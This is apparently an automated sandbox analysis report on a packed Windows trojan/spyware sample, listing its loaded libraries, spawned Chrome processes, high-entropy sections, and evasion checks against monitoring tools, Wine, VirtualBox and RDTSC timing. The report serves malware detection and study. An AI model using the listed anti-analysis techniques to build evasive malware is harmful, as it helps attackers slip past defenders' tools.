Source: file.exe, 00000000.00000003.1988213998.0000000005939000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2001621935.0000000005932000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000862866.0000000005BBA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1993232596.0000000005B30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1994964708.000000000593C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1989312367.000000000593C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1995450588.0000000005A60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2000117374.0000000005A7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1986286493.00000000059D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1999405695.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1996562569.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1986685492.0000000005A90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1997889046.0000000005A67000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1987994463.000000000593E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1985535151.0000000005593000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1988433252.0000000005933000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9974409550330033
Source: file.exe	Static PE information: Section: akxghhwi ZLIB complexity 0.994061902397764

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/61@7/7

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2008,i,3826648894822423509,4444800806446167080,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1980,i,2029121025495776,18205823423671010898,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2008,i,3826648894822423509,4444800806446167080,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1980,i,2029121025495776,18205823423671010898,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1910784 > 1048576

Source: file.exe

Static PE information: Raw size of akxghhwi is bigger than: 0x100000 < 0x1a8e00

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1db102 should be: 0x1dc122

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: akxghhwi
Source: file.exe	Static PE information: section name: yjeyyxpl
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DC25F2 pushfd ; iretd	0_3_00DC25F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DC25F2 pushfd ; iretd	0_3_00DC25F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DC25F2 pushfd ; iretd	0_3_00DC25F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DC25F2 pushfd ; iretd	0_3_00DC25F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DC25F2 pushfd ; iretd	0_3_00DC25F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DC25F2 pushfd ; iretd	0_3_00DC25F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DC25F2 pushfd ; iretd	0_3_00DC25F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DC25F2 pushfd ; iretd	0_3_00DC25F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DC25F2 pushfd ; iretd	0_3_00DC25F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DDECD8 push eax; ret	0_3_00DDEE39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DDEDCE push eax; ret	0_3_00DDEE39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DDDE91 push esi; retf	0_3_00DDDE94
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DDED5B push eax; ret	0_3_00DDEE39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DDDA13 push FFFFFFDBh; iretd	0_3_00DDDA24
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DB5030 push 8000D5CCh; retf	0_3_00DB5035
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DB5030 push 8000D5CCh; retf	0_3_00DB5035
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DB5030 push 8000D5CCh; retf	0_3_00DB5035
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DB5030 push 8000D5CCh; retf	0_3_00DB5035
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DDECD8 push eax; ret	0_3_00DDEE39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DDEDCE push eax; ret	0_3_00DDEE39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DDDE91 push esi; retf	0_3_00DDDE94
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DDED5B push eax; ret	0_3_00DDEE39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DDDA13 push FFFFFFDBh; iretd	0_3_00DDDA24
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D769C8 push eax; iretd	0_3_00D769C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D769C8 push eax; iretd	0_3_00D769C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D6CBA0 pushfd ; retf	0_3_00D6CBA1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D6CBA0 pushfd ; retf	0_3_00D6CBA1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D6CB67 pushfd ; retf	0_3_00D6CB9D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D6CB67 pushfd ; retf	0_3_00D6CB9D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D78614 push esi; retf	0_3_00D78617
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D78614 push esi; retf	0_3_00D78617

Source: file.exe	Static PE information: section name: entropy: 7.9788040996126055
Source: file.exe	Static PE information: section name: akxghhwi entropy: 7.953902225631802

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 22C211 second address: 22C215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ABB62 second address: 3ABB77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 js 00007F5E6851342Ah 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ABB77 second address: 3ABB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AAB8C second address: 3AABA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E6851342Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AABA2 second address: 3AABA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AABA6 second address: 3AABB7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jns 00007F5E68513426h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AACBF second address: 3AACCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F5E68E41F16h 0x0000000a pop ecx 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AAF76 second address: 3AAF7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AAF7C second address: 3AAF82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AAF82 second address: 3AAF86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AB106 second address: 3AB11D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E68E41F22h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD4DA second address: 3AD4DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD4DE second address: 3AD4E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD4E4 second address: 3AD51E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jbe 00007F5E68513426h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F5E68513438h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007F5E6851342Ah 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD51E second address: 3AD522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD522 second address: 3AD531 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007F5E68513426h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD531 second address: 3AD555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F5E68E41F21h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD5AA second address: 3AD5F3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D1CEEh], esi 0x00000011 push 00000000h 0x00000013 je 00007F5E6851343Fh 0x00000019 call 00007F5E68513436h 0x0000001e push ecx 0x0000001f pop edx 0x00000020 pop ecx 0x00000021 call 00007F5E68513429h 0x00000026 je 00007F5E68513438h 0x0000002c push eax 0x0000002d push edx 0x0000002e jnp 00007F5E68513426h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD5F3 second address: 3AD653 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5E68E41F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jne 00007F5E68E41F20h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007F5E68E41F28h 0x0000001a mov eax, dword ptr [eax] 0x0000001c jmp 00007F5E68E41F20h 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F5E68E41F20h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD653 second address: 3AD6E1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp+122D1825h], eax 0x0000000e jmp 00007F5E68513436h 0x00000013 push 00000003h 0x00000015 add ecx, 47E9FFF3h 0x0000001b push 00000000h 0x0000001d mov si, ax 0x00000020 push 00000003h 0x00000022 cmc 0x00000023 call 00007F5E68513429h 0x00000028 jmp 00007F5E68513439h 0x0000002d push eax 0x0000002e push esi 0x0000002f push edi 0x00000030 jmp 00007F5E68513432h 0x00000035 pop edi 0x00000036 pop esi 0x00000037 mov eax, dword ptr [esp+04h] 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F5E68513439h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD6E1 second address: 3AD6E7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD6E7 second address: 3AD6FB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5E68513428h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
